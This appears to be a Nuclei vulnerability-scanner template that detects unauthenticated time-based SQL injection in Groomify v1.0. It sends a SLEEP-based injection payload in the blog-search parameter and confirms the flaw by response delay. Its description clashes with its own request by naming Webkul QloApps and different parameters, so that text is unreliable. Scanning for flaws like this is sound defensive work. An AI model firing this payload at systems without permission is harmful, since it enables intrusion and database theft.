id: groomify-sqli

info:
  name: Groomify v1.0 - SQL Injection Vulnerability
  author: theamanrawat
  severity: high
  description: |
    An unauthenticated Time-Based SQL injection found in Webkul QloApps 1.6.0 via GET parameter date_from, date_to, and id_product allows a remote attacker to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database.
  reference:
    - https://codecanyon.net/item/groomify-barbershop-salon-spa-booking-and-ecommerce-platform/45808114#
    - https://vulners.com/zdt/1337DAY-ID-38799
  classification:
    cwe-id: CWE-89
  metadata:
    verified: "true"
    max-request: 1
  tags: time-based-sqli,sqli,groomify,unauth,vuln

http:
  - raw:
      - |
        @timeout: 25s
        GET /blog-search?search=deneme%27%20AND%20(SELECT%201642%20FROM%20(SELECT(SLEEP(6)))Xppf)%20AND%20%27rszk%27=%27rszk HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body, 'value=\"deneme')
        condition: and
# digest: 4a0a004730450220729eab5ecd73a79b8788757fe012e084a40d6c0e29fed726e4d57cac0506a5cc022100f5aeea6230f1fdf3623476a911c95209e5fcae097c9ccc06bdaf858330e1a82b:922c64590222798bb761d5b6d8e72950